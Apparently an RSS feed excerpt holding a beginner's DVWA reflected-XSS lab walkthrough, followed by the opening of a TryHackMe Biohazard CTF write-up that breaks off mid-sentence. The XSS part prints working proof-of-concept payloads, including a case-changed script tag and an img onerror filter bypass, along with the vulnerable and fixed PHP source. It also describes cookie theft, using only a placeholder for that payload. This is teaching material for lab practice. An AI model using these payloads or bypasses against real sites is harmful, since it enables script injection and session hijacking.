XSS.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/854/1*syVIgVeTSo1ryJNF1JYRLA.png" /><figcaption>[ Cross-Site Scripting - <strong>XSS</strong> ]</figcaption></figure><p><strong>If you’ve never heard of XSS before, no worries.</strong> Cross-Site Scripting (XSS) it’s a client‑side attack where an attacker tricks a website into running their JavaScript inside someone else’s browser. That injected code can show fake interfaces, steal cookies, or change page content, basically anything the browser can do on that site.</p><blockquote>Why does XSS work?</blockquote><p>Browsers <strong>trust</strong> the HTML and JavaScript a site gives them. If the site accidentally includes text from a user (like a name or a URL parameter) directly into the page <strong>without escaping or sanitizing it</strong>, the browser will treat that text as code.</p><p><strong>Types of XSS:</strong></p><pre>Reflected XSS  (non‑persistent)<br>Stored    XSS  (persistent)<br>DOM‑based XSS  (client‑side)<br>Self      XSS  (social‑engineering)</pre><p><strong>What is Reflected XSS?</strong><br>Reflected XSS happens when user input (from a URL or form) is immediately included in a page response without <strong>sanitizing it</strong>, causing browser-side script execution, Here is an real scenario.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Vp0k3MlJW2ExJ9PRm8vMIA.jpeg" /><figcaption>[ Reflected XSS ]</figcaption></figure><h3>How Reflected XSS actually happens (step-by-step)</h3><blockquote><strong><em>1 - User input point:</em></strong><em> The site has a form, search box, or URL parameter that is echoed back on the page (e.g., “Hello, {name}”).</em></blockquote><blockquote><strong><em>2 - Attacker crafts a URL</em></strong><em> containing malicious JavaScript in that input (for example, in the </em><strong><em>?name=</em></strong><em> parameter).</em></blockquote><blockquote><strong><em>3 - Victim clicks the URL</em></strong><em> (phishing, forum link, etc.).</em></blockquote><blockquote><strong><em>4 - Server reflects the input</em></strong><em> into the HTML response immediately (no save to DB).</em></blockquote><blockquote><strong><em>5 - Browser parses the response</em></strong><em> and executes the injected script. Boom attacker script runs in the victim’s session/context.</em></blockquote><p>You might be thinking about <strong>parameters</strong>, <strong>sessions</strong>, <strong>cookies</strong>, <strong>tokens</strong>… and a lot more. What are those, and why do attackers steal them? Don’t worry, I’ll explain all of that later. For now, let’s start our first attack on DVWA.<br>But before we jump into DVWA, you need to know this payload.</p><p><strong>Payload</strong>:</p><pre>&lt;script&gt;alert(&#39;xss&#39;)&lt;/script&gt;</pre><p>Don’t forget this. It’s just a simple payload actually, it’s just JavaScript. We use this payload to check whether a website is vulnerable to XSS. And remember, this isn’t the only one; there are many different payloads for different situations. I’m not going to complicate things now we’ll explore more payloads later. You can even run this directly in your browser. Just press <strong>F12</strong> to open <strong>Developer Tools</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/893/1*3UP1XZeeQlaO534XQriLBQ.png" /><figcaption>[ Console ]</figcaption></figure><p>Here, choose the <strong>Console</strong> tab. It will appear like a command prompt. Now just run the payload <strong>without</strong> the <strong>&lt;script&gt;</strong> tag.</p><pre>alert(&#39;xss&#39;)</pre><p>Now just run the payload:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/891/1*kliJNVvaksAZSZEE0QDrbA.png" /><figcaption>[ Console ]</figcaption></figure><p>You will see a pop-up appear in your browser.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*cvl2EKNNQkBB8DgveaCVjQ.png" /><figcaption>[ popup ]</figcaption></figure><p>So this is a sign of an XSS attack! You might be thinking, ‘Is this happening in our browser?’ Absolutely but did we trigger it from a website? No.<br>Remember, I told you to remove the <strong>&lt;script&gt;</strong> tag before running the payload in the Console. That’s because we’re running it directly in the JavaScript console, and the console accepts any JavaScript code we give it.</p><p><strong>note</strong>:</p><blockquote>when we are testing on website we will look for (search box) or an input field to test xss but that time we will include <strong>&lt;script&gt; tag</strong>. because if the site echoes it back without escaping, the browser will run it</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/360/1*GKoLFjldyO9dRAFdqVkYSg.gif" /><figcaption>[ GIF sourced from icegif. Rights belong to the creator. ]</figcaption></figure><p>You know something? There’s an attack called <strong>Self-XSS</strong>. It’s basically the same thing we just did. An attacker tricks a user through social engineering, and the user ends up copy-pasting a malicious script into their browser console. That script can steal credentials like <strong>cookies</strong>, <strong>sessions</strong>, or <strong>tokens</strong>. But remember this kind of attack never jumps from your browser to your computer. It stays inside the browser because these are <strong>browser-based</strong> attacks.<br>Before we move on, look below and understand what <strong>cookies</strong> and <strong>sessions</strong> are. These are important basics you need to know when working with the web.</p><p>What are <strong>Cookies</strong>?</p><blockquote><strong>Cookies</strong> are small pieces of data that a website saves in your browser. They help the site “remember” things like your <strong>login</strong>, <strong>theme</strong>, or what’s in your <strong>cart</strong> even after you leave or refresh the page.</blockquote><blockquote>Example: When you log in to a site and come back later without logging in again that’s because of cookies.</blockquote><p>What are <strong>Sessions?</strong></p><blockquote><strong>Sessions</strong> are like temporary memory on the server. When you log in, the website creates a <em>session</em> with your info (like your username or ID) and gives your browser a small cookie (called a <em>session ID</em>) to link you to that data.</blockquote><blockquote>Example: When you move between pages after logging in, the site knows it’s still <em>you</em> because your session is active.</blockquote><p>If we are talking in simple way:</p><blockquote><strong>Cookies = stored in your browser</strong> (client-side)</blockquote><blockquote><strong>Sessions = stored on the website’s</strong> (server-side)</blockquote><blockquote>They work together to keep you logged in or track your activity safely.</blockquote><p>I hope you understood how cookies and sessions work. You might wonder why I didn’t mention tokens because this write-up would become too long, and there’s a lot more to explain about tokens. We’ll learn about them later.<br>For now, just keep in mind how cookies and sessions work. If you’re eager to learn about tokens, feel free to research them on your own. Alright, let’s get into the DVWA lab.</p><h3>Vulnerability: Reflected Cross Site Scripting (XSS)</h3><p><strong>[ Security-Level</strong> : <strong>LOW ]</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*PwLcPu0XA43gpD262GsFrw.png" /><figcaption>[ Input field ]</figcaption></figure><p>What we see here is an input field with a submit button. It asks, ‘What is your name?’ Let’s find out what’s happening behind the scenes.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*jNfoUk_fJJabO-EK3rK-6A.png" /><figcaption>[ Input field ]</figcaption></figure><p>Here you can see that whatever we type is echoed back on the page. Also, there’s something important you should notice the <strong>URL bar</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p2DNy3uGLwPmFI7psfk_eQ.png" /><figcaption>[ URL bar ]</figcaption></figure><p>Whatever you type in the input field is also being passed in the <strong>URL</strong>.</p><pre>name={name}#</pre><p>this thing (name = ) we called as <strong>parameter,</strong> keep in your mind.</p><p><strong>[ Testing XSS Payload ]</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/729/1*PwLcPu0XA43gpD262GsFrw.png" /><figcaption>[ Input field ]</figcaption></figure><p>So now we’re going to test our XSS payload here.</p><pre>&lt;script&gt;alert(&#39;xss&#39;)&lt;/script&gt;</pre><p>Place this script in the input box and then click Submit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/994/1*I7-YlFJHGOXav30-Pwdokw.png" /><figcaption>[ Input field]</figcaption></figure><p>Here is the result:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IjJ2tal5WQON_DThjppzRA.png" /><figcaption>[ URL bar ]</figcaption></figure><p>Boom! We’ve triggered the <strong>XSS</strong>!</p><p>Here is the source code. Let’s see what’s happening behind the scenes:</p><pre>&lt;?php<br><br>header (&quot;X-XSS-Protection: 0&quot;);<br><br>// Is there any input?<br>if( array_key_exists( &quot;name&quot;, $_GET ) &amp;&amp; $_GET[ &#39;name&#39; ] != NULL ) {<br>    // Feedback for end user<br>    echo &#39;&lt;pre&gt;Hello &#39; . $_GET[ &#39;name&#39; ] . &#39;&lt;/pre&gt;&#39;;<br>}<br><br>?&gt;</pre><p>In this code, the user’s input from the URL <strong>$_GET[‘name’]</strong> is printed directly onto the page using <strong>echo</strong>, <strong>without any escaping or filtering</strong>.</p><p>That means if someone types something normal like:</p><pre>?name=Adwaith</pre><p>the page shows</p><pre>Hello Adwaith</pre><p>But if someone enters a script instead, like:</p><pre>?name=&lt;script&gt;alert(&#39;XSS&#39;)&lt;/script&gt;</pre><p>the browser doesn’t see it as plain text it sees a real <strong>&lt;script&gt;</strong> tag and <strong>runs the JavaScript</strong>.</p><p>This happens because the server just <strong>echoes whatever the user gives it</strong>, and the browser <strong>trusts the HTML it receives</strong>. That’s the core of <strong>Reflected XSS, </strong>user input reflected in the response without escaping or validation.</p><p>When we look at the URL, it might look a bit messy.</p><pre>name=%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E#</pre><p>It’s called <strong>URL encoding</strong>. Jut know that When we send something through a website’s input form, special characters like( <strong>?</strong>, <strong>&amp;</strong>, <strong>=</strong>, <strong>&lt;</strong>, <strong>&gt;</strong>, <strong>“</strong> ) and <strong>even spaces</strong> are <strong>encoded</strong> so they can be properly understood by the <strong>web server</strong>.</p><p>If you want to see the original value, just paste it into<strong> CyberChef</strong>.</p><p><a href="https://gchq.github.io/CyberChef/#recipe=URL_Decode(true)">CyberChef</a></p><p>When you <strong>decode</strong> it, it looks like this.</p><pre>name=&lt;script&gt;alert(&#39;xss&#39;)&lt;/script&gt;#</pre><p>We can now see the actual payload. In <strong>BurpSuite</strong>, we can easily decode it without using any external website just select the URL-encoded string, and Burp will show you the original form right there.</p><p>So how do hackers use this <strong>XSS attack</strong> against a <strong>victim</strong>? Here’s a demo:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fplayer.vimeo.com%2Fvideo%2F1129211870%3Fapp_id%3D122963&amp;dntp=1&amp;display_name=Vimeo&amp;url=https%3A%2F%2Fvimeo.com%2F1129211870%3Fshare%3Dcopy%26fl%3Dsv%26fe%3Dci&amp;image=https%3A%2F%2Fi.vimeocdn.com%2Fvideo%2F2072526989-3929f82b175e99d3abc84f59420f23e09c678e363b01eb140211569e9260680c-d_1280%3Fregion%3Dus&amp;type=text%2Fhtml&amp;schema=vimeo" width="1918" height="1080" frameborder="0" scrolling="no"><a href="https://medium.com/media/747801069b9b3d26f1535fbeadeaf9b3/href">https://medium.com/media/747801069b9b3d26f1535fbeadeaf9b3/href</a></iframe><p>What did you understand from this video? Just think for a moment. If you didn’t get it, I’ll explain it. I copied the entire URL and pasted it into a new tab, and it still triggered the <strong>XSS</strong>.<br>Why did it work in a new tab? And why did it work without pasting the XSS payload into the input field? How was it triggered without using the input box? Look here:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/979/1*jNfoUk_fJJabO-EK3rK-6A.png" /><figcaption>[ Input field ]</figcaption></figure><p>We enter the name in the input field and then click Submit.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*p2DNy3uGLwPmFI7psfk_eQ.png" /><figcaption>[ URL bar ]</figcaption></figure><p>What do you see here? A <strong>parameter</strong> carrying the name we typed in the input field. So think of the input field as just a medium or channel. It takes our input, sends it into the parameter, and then that gets sent to the web server.</p><pre>http://172.17.0.1/vulnerabilities/xss_r/?name=adwaith#</pre><p>If you copy and paste it into the URL, it also works it prints or echoes the name. The same thing happens when you copy-paste the <strong>XSS</strong> payload.</p><pre>http://172.17.0.1/vulnerabilities/xss_r/?name=%3Cscript%3Ealert%28%27xss%27%29%3C%2Fscript%3E#</pre><p><strong>Result:</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IjJ2tal5WQON_DThjppzRA.png" /><figcaption>[ xss ]</figcaption></figure><p>If a attacker tests a field and finds that it’s vulnerable to <strong>XSS</strong>, then the attacker can craft a malicious payload.</p><pre>name=&lt;script&gt;malicious_payload&lt;/script&gt;#</pre><p>The attacker will replace the normal payload, like alert(‘xss’), with a malicious payload that can steal the victim’s cookies.</p><pre>http://172.17.0.1/vulnerabilities/xss_r/?name=&lt;script&gt;malicious_payload&lt;/script&gt;#</pre><p>Then the attacker sends that crafted URL to the victim. If the victim clicks the URL, the malicious <strong>XSS payload</strong> will execute, grab the victim’s cookies from their browser, and send them to the attacker’s server.<br>Finally, the attacker can gain access to the victim’s account without needing the <strong>password</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*IjJ2tal5WQON_DThjppzRA.png" /><figcaption>[ xss ]</figcaption></figure><p>See how impactful an <strong>XSS attack</strong> can be.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*MJxxLeWoObiEklf5C-YsKg.gif" /><figcaption>[ GIF sourced from tenor. Rights belong to the creator. ]</figcaption></figure><p>It’s just a pop-up here, but when used the right way, XSS can cause major impact. It’s not only about account takeover sometimes it can expose sensitive data like <strong>PII</strong>, <strong>payment details</strong>, <strong>secrets</strong>, <strong>private messages</strong>, or <strong>tokens</strong>.</p><blockquote>We discussed this attack in the context of a targeted user through Reflected XSS. But what if I told you it can affect <em>many</em> users over time? That’s called a Stored (Persistent) XSS attack.</blockquote><p>In a stored XSS scenario, the attacker only needs to craft the payload once and inject it into a vulnerable page. From that moment, every user who visits that page will trigger the XSS no need to send URLs or parameters manually. And imagine if one of those users is an <strong>admin</strong>… the attacker can compromise the admin account too. We’ll discuss this attack in detail in a future section.</p><p><strong>[ Security-Level</strong> : <strong>MEDIUM ]</strong></p><p>Let’s put the payload again:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/992/1*cgB7oqzSYFJ8O_M6HVdIFg.png" /><figcaption>[ Input field ]</figcaption></figure><p>Now you can see that our payload isn’t working here. When you look at the response, it’s being treated as plain text. But why isn’t the <strong>&lt;script&gt;</strong> tag printed? We can assume it’s being ignored or filtered. We actually increased the security level a bit. So does this mean XSS doesn’t work here? Nope. What would you do in this situation?</p><p>There are different ways to <strong>bypass filters</strong>, so listen carefully, if our payload doesn’t work, they might be filtering it. We need to craft suitable payloads and keep testing different variants until one succeeds. So how do we craft the payload?</p><p>First, I’ll show you how it’s done:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/983/1*Sbb6cpZSqqdNUgMQrNUH1A.png" /><figcaption>[ Input field ]</figcaption></figure><p>Just submit this <strong>payload</strong>!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/955/1*kQxZgOu2EppHZoNFmLd62A.png" /><figcaption>[ xss ]</figcaption></figure><p><strong>Boom</strong>! We triggered the <strong>XSS</strong> again…</p><p>Why did it work? Just observe the payload:</p><p><strong>First Payload:</strong></p><pre>&lt;script&gt;alert(&#39;xss&#39;)&lt;/script&gt;</pre><p><strong>Second Payload:</strong></p><pre>&lt;Script&gt;alert(&#39;xss&#39;)&lt;/Script&gt;</pre><p>Take a look at both payloads and see the difference. Notice the tag we used I changed <strong>&lt;script&gt;</strong> to <strong>&lt;script&gt;</strong>. The filter was misconfigured, so it only blocked lowercase <strong>&lt;script&gt;</strong> and didn’t block <strong>&lt;script&gt;. </strong>If you didn’t understand that, don’t worry. Just look here—let’s see what’s happening behind the scenes.</p><pre>&lt;?php<br><br>header (&quot;X-XSS-Protection: 0&quot;);<br><br>// Is there any input?<br>if( array_key_exists( &quot;name&quot;, $_GET ) &amp;&amp; $_GET[ &#39;name&#39; ] != NULL ) {<br>    // Get input<br>    $name = str_replace( &#39;&lt;script&gt;&#39;, &#39;&#39;, $_GET[ &#39;name&#39; ] );<br><br>    // Feedback for end user<br>    echo &quot;&lt;pre&gt;Hello ${name}&lt;/pre&gt;&quot;;<br>}<br><br>?&gt;</pre><p>Look here at this specific area:</p><pre>$name = str_replace(&#39;&lt;script&gt;&#39;, &#39;&#39;, $_GET[&#39;name&#39;]);<br>echo &quot;&lt;pre&gt;Hello ${name}&lt;/pre&gt;&quot;;</pre><p>look the conditon in here it only removes the exact string “<strong>&lt;script&gt;</strong>”(lowercase, no spaces, no attributes), so that means what ever we input the payload expect <strong>&lt;script&gt;</strong> , so what will happen next?</p><p>the PHP’s <strong>str_replace</strong> is <strong>case‑sensitive</strong>, so it will <strong>not</strong> remove:</p><pre>&lt;Script&gt;<br>&lt;SCRIPT&gt;<br>&lt;script &gt;</pre><p>So we can craft payloads using different tag variations and still trigger XSS. Pretty cool, right? But how do we find the right payload? In real scenarios, you don’t have access to the source code to see the misconfiguration. So how do you figure it out? It’s up to you by understanding how the input field works and how the response is reflected back. Like I said earlier, just start by putting the normal payload:</p><pre>&lt;script&gt;alert(&#39;xss&#39;)&lt;/script&gt;</pre><p>You’ve understood how the response looks, but you can also inspect the source of webpages by pressing <strong>F12</strong> or opening the <strong>Developer Tools</strong>. This way, you can understand how it works too.”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*B2fkNhsV7iyB02Q4sjIuiA.png" /><figcaption>[ Dev tools ]</figcaption></figure><p>You’ve learned two things: you can understand how the application behaves by looking at the echoed response or inspecting the page with Developer Tools, and you can craft different payloads depending on the situation.</p><p>here is the useful resource, save it somewhere it may very helpful:</p><p><a href="https://portswigger.net/web-security/cross-site-scripting/cheat-sheet">Cross-Site Scripting (XSS) Cheat Sheet - 2026 Edition | Web Security Academy</a></p><p>You can easily craft different types of <strong>XSS payloads</strong> from here.</p><p><strong>[ Security-Level</strong> : <strong>HIGH</strong> <strong>]</strong></p><p>Let’s test some payloads:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*tJ44I88OdNuq7P7e7455kw.png" /><figcaption>[ Input field ]</figcaption></figure><p>Not working. Okay, let’s try the next payload.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/992/1*j0EpVC_C3zUaqaP24AXscA.png" /><figcaption>[ Input field ]</figcaption></figure><p>It’s not working! But what’s happening here? The security has been increased, and earlier the filtering was misconfigured but now they’ve fixed that too. First, look at the response: it echoes as ‘<strong>Hello &gt;</strong>’ and doesn’t show the full payload. This means we can understand that the input is being filtered.</p><pre>&lt;script&gt;<br>&lt;Script&gt;</pre><p>But the &gt; character was still echoed, so we can assume that the <strong>&lt;script&gt;</strong> tag is being filtered. I tried different variations of the <strong>&lt;script&gt;</strong> tag, but none of them worked. But as I said earlier, whenever we see an input field, we should always test this payload.</p><pre>&lt;script&gt;alert(&#39;xss&#39;)&lt;/script&gt;</pre><p>But in your mind, you might think about changing <strong>&lt;script&gt;</strong> to <strong>&lt;Script&gt;</strong> or <strong>SCRIPT</strong>, but it’s not working here. So the question is: can we trigger XSS without using the <strong>&lt;script&gt;</strong> tag? Is it possible to use a different tag?</p><blockquote>Yes, absolutely. I already told you before that we can craft <strong>XSS payloads</strong> in different ways based on different situations. So I hope you checked the XSS cheat sheet I shared earlier in the Medium level.</blockquote><p><a href="https://portswigger.net/web-security/cross-site-scripting/cheat-sheet">Cross-Site Scripting (XSS) Cheat Sheet - 2026 Edition | Web Security Academy</a></p><p>When you look at the cheat sheet, you’ll notice I crafted a suitable payload that can trigger <strong>XSS</strong> and it doesn’t even use the <strong>&lt;script&gt;</strong> tag.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CF35_9LmybdSSZjezRFOtg.png" /><figcaption>[ Cheat sheet ]</figcaption></figure><p>Let’s test it:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/989/1*jTx0hPD1ft6Cw7DD47inNw.png" /><figcaption>[ Input field ]</figcaption></figure><p>Just submit the payload:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/959/1*NWuyv1xiVIl0FNTaeBjcGQ.png" /><figcaption>[ xss ]</figcaption></figure><p><strong>Boom</strong>! We triggered the <strong>XSS</strong> again…</p><p>Let’s examine our <strong>payload</strong>:</p><pre>&lt;img src/onerror=alert(&#39;xss&#39;)&gt;</pre><p>This creates an <strong>image element</strong>. The browser tries to load the image from <strong>src</strong> and when it fails, the <strong>onerror</strong> <strong>event</strong> runs and that event can contain JavaScript. So the <strong>alert(‘xss’)</strong> runs when the image load fails. A more common, clearer form is:</p><pre>&lt;img src=x onerror=alert(&#39;xss&#39;)&gt;</pre><p>Here <strong>src = ‘x’</strong> is an invalid image URL so the image fails to load and <strong>onerror</strong> fires.</p><p>If you don’t know how the <strong>&lt;img&gt;</strong> tag works or how to use it, here’s a reference:</p><p><a href="https://www.w3schools.com/Tags/tag_img.asp">W3Schools.com</a></p><p>Here is the demo:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fplayer.vimeo.com%2Fvideo%2F1129512908%3Fapp_id%3D122963&amp;dntp=1&amp;display_name=Vimeo&amp;url=https%3A%2F%2Fvimeo.com%2F1129512908&amp;image=https%3A%2F%2Fi.vimeocdn.com%2Fvideo%2F2072919795-aaafb01a42971b79f490ea6d2135a4dd73b6858815f9b2eb671396ad4f0d88f3-d_1280%3Fregion%3Dus&amp;type=text%2Fhtml&amp;schema=vimeo" width="1920" height="1076" frameborder="0" scrolling="no"><a href="https://medium.com/media/45fc1ce5beac48b2142cd6b1fe5beee0/href">https://medium.com/media/45fc1ce5beac48b2142cd6b1fe5beee0/href</a></iframe><p>What is <strong>onerror</strong>?</p><p>onerror is an <strong>HTML event attribute</strong>. It tells the browser what to do <strong>when something goes wrong</strong>, like when an image or script fails to load.</p><pre>&lt;img src=x onerror=alert(&#39;xss&#39;)&gt;</pre><p>If the browser can’t find ‘x’ it triggers the <strong>onerror</strong> event and runs the JavaScript there we palced the alert function <strong>alert(‘xss’)</strong> .</p><p>Let’s look at what’s happening behind the scenes:</p><pre>&lt;?php<br><br>header (&quot;X-XSS-Protection: 0&quot;);<br><br>// Is there any input?<br>if( array_key_exists( &quot;name&quot;, $_GET ) &amp;&amp; $_GET[ &#39;name&#39; ] != NULL ) {<br>    // Get input<br>    $name = preg_replace( &#39;/&lt;(.*)s(.*)c(.*)r(.*)i(.*)p(.*)t/i&#39;, &#39;&#39;, $_GET[ &#39;name&#39; ] );<br><br>    // Feedback for end user<br>    echo &quot;&lt;pre&gt;Hello ${name}&lt;/pre&gt;&quot;;<br>}<br><br>?&gt;</pre><p>The app only looks for the word <strong>script</strong> and removes that.The attacker used <strong>img + onerror</strong>, which is a different way to run JavaScript.Result: the filter misses it, the browser executes the <strong>onerror</strong> code, and XSS happens.</p><p><strong>[ Security-Level</strong> : <strong>IMPOSSIBLE</strong> <strong>]</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/985/1*NQnMR2SOjCnufNgACYFyxA.png" /><figcaption>[ xss ]</figcaption></figure><p>They’ve added more security to prevent <strong>XSS attacks</strong>:</p><pre>&lt;?php<br><br>// Is there any input?<br>if( array_key_exists( &quot;name&quot;, $_GET ) &amp;&amp; $_GET[ &#39;name&#39; ] != NULL ) {<br>    // Check Anti-CSRF token<br>    checkToken( $_REQUEST[ &#39;user_token&#39; ], $_SESSION[ &#39;session_token&#39; ], &#39;index.php&#39; );<br><br>    // Get input<br>    $name = htmlspecialchars( $_GET[ &#39;name&#39; ] );<br><br>    // Feedback for end user<br>    echo &quot;&lt;pre&gt;Hello ${name}&lt;/pre&gt;&quot;;<br>}<br><br>// Generate Anti-CSRF token<br>generateSessionToken();<br><br>?&gt;</pre><p>It’s impossible to perform <strong>XSS</strong> here, they’ve effectively prevented <strong>reflected XSS</strong>.</p><p>What this code does:</p><p>1, It checks if the page received a <strong>name</strong> value in the URL (like ?name=adw..)</p><p>2, It calls checkToken(…) to validate a CSRF token (that’s for preventing cross-site request forgery a different security problem).</p><blockquote>A <strong>CSRF token</strong> is like a secret handshake between your browser and the website only real forms from the site know it, so attackers can’t fake your actions.</blockquote><p>3, It runs the input through htmlspecialchars() this turns &lt; into &amp;lt; and <strong>&gt;</strong> into <strong>&amp;gt;</strong> , so any <strong>&lt;script&gt;</strong> a user sends becomes plain text instead of code.</p><p>4, Then it prints Hello {user} inside the page. Because the input was escaped, the browser shows the raw characters and <strong>won’t run any JavaScript</strong>, so this prevents reflected XSS in this place.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/498/1*um19N_oeTKlmrHMov0O5bA.gif" /><figcaption>[ GIF sourced from tenor. Rights belong to the creator. ]</figcaption></figure><blockquote>If you suspect an XSS‑vulnerable field, try every possible payload. Check the response, inspect the page, craft payloads from cheat sheets, and keep testing even if it fails, try again and again until it succeeds. You can discover different tags, events, and bypass tricks for different situations. In real‑world applications, you’ll face <strong>WAFs</strong> (Web Application Firewalls), rate‑limiting, and many stronger protections than these basic filters. That’s why you must research, explore bypass techniques, and stay updated.</blockquote><p>Here are some useful references on <strong>filter‑bypass</strong> methods hope they help:</p><p><a href="https://cheatsheetseries.owasp.org/cheatsheets/XSS_Filter_Evasion_Cheat_Sheet.html">XSS Filter Evasion - OWASP Cheat Sheet Series</a></p><h3>Thanks for coming! Stay curious, stay ethical!</h3><p>Follow me for more about cybersecurity: <a href="https://medium.com/@0xW41th">Medium</a>, <a href="https://github.com/0xW41th">Github</a>, <a href="https://www.linkedin.com/in/adwaith-sec">LinkedIN</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3c9f9f26962b" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/reflected-xss-dvwa-walkthrough-learn-how-user-input-can-trigger-a-script-execution-3c9f9f26962b">Reflected XSS → DVWA Walkthrough: Learn How User Input Can Trigger a Script Execution</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Unlocking the Secrets: My Biohazard CTF Adventure Part 2]]></title>
            <link>https://infosecwriteups.com/unlocking-the-secrets-my-biohazard-ctf-adventure-part-2-5d8a234f6316?source=rss-58f5e3373c8b------2</link>
            <guid isPermaLink="false">https://medium.com/p/5d8a234f6316</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[ethical-hacking]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[Adwaith S]]></dc:creator>
            <pubDate>Mon, 22 Sep 2025 14:41:22 GMT</pubDate>
            <atom:updated>2025-09-25T08:19:55.855Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*xdMUkg9_2CrA94cPC_BwbQ.jpeg" /></figure><p>🕵️ I’m <strong>Adwaith</strong>, an aspiring offensive security enthusiast, back to continue my walkthrough of the Biohazard CTF on TryHackMe.</p><blockquote>As the mansion’s shadows faded behind me, I stepped into the guard house, an area that promised new challenges at every turn. Locked doors, hidden corners, and mysterious passages awaited, each requiring careful exploration and sharp instincts. With my first set of clues in hand, the nightmare was far from over, and every step forward could reveal traps, puzzles, or unexpected twists.</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/422/1*jyNM4w-WoMvHGYmSLU1UAg.gif" /><figcaption>[ GIF sourced from Artstation. Rights belong to the creator. ]</figcaption></figure><p>are you ready to step into <strong>The guard house</strong> ?</p><h3>Task 3. The guard house</h3><p><strong>3.1.</strong> Where is the hidden directory mentioned by Barry</p><p>Before we move on to the next question, let’s see where we are in Part 1,</p><p>We need to unlock the door to <strong>/studyRoom/</strong> using the <strong>helmet flag</strong>!</p><h4>[ Study room entrance ]</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/913/1*O4HrtYusrS6e8-kOlInR5w.png" /><figcaption>/studyRoom/</figcaption></figure><p>We got the FTP login by decrypting the four crests.<br>Now, let’s get back to our question, log in to the FTP server we obtained earlier and see what’s inside.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*SYKaQWHzjAUPu4xrokEIZg.png" /><figcaption>[ ftp ]</figcaption></figure><p>After logging into the FTP server and listing the files, you can see several files. However, my attention was drawn to a file called <strong>helmet_key</strong>, which is exactly what we’re looking for to unlock the <strong>Study Room</strong> entrance.</p><pre>/studyRoom/   ----&gt; input helemt flag!</pre><p>But it’s not just the <strong>helmet_key</strong>,<strong> </strong>there are also other files, like <strong>.jpg</strong> and <strong>.txt </strong>To make sure we don’t miss anything, let’s download <strong>all the files</strong> to our system using this command:</p><p>If you want to download a single file, you can use this command:</p><pre>get &lt;file_name&gt;</pre><p>But in our case, we need to download <strong>multiple files at once</strong>, so we use this command:</p><pre>mget *</pre><p>So, we have successfully downloaded the files:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*7FLsJ1XtTOl76rUXKRscBA.png" /><figcaption>[ ftp ]</figcaption></figure><p>Now, let’s take a look on our system:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*rmXcKt0yKM9O2RLcKHu-xw.png" /><figcaption>[ files ]</figcaption></figure><p>When I tried to cat the <strong>helmet_key</strong>, it showed binary content. This means the file is actually encrypted, with an extension <strong>.gpg</strong> added at the end of the <strong>.txt</strong> file.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*d4JfjhsHC4LbMgW9zIaDkA.png" /><figcaption>[ gpg ]</figcaption></figure><p>Now, let’s take a closer look at what’s inside this file (or binary):</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/988/1*LLx50jISTRNfgHh6IFLzDQ.png" /><figcaption>[ file ]</figcaption></figure><p>When we check the file type, it shows that it’s a GPG <strong>symmetrically encrypted file</strong>, mentioning a cipher called <strong>AES-256</strong>. So, the <strong>helmet_key</strong> was actually encrypted using the AES-256 cipher.</p><p>What is AES? Is it like a Vigenère cipher? Nope!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/800/0*VGdyIaNWqNJIYrMD.jpg" /><figcaption>[ IMAGE sourced from atpinc. Rights belong to the creator. ]</figcaption></figure><p><strong>AES (Advanced Encryption Standard)</strong> is a modern encryption method used to protect digital data. It’s a <strong>symmetric cipher</strong>, which means the same key is used for both encryption and decryption. AES works by 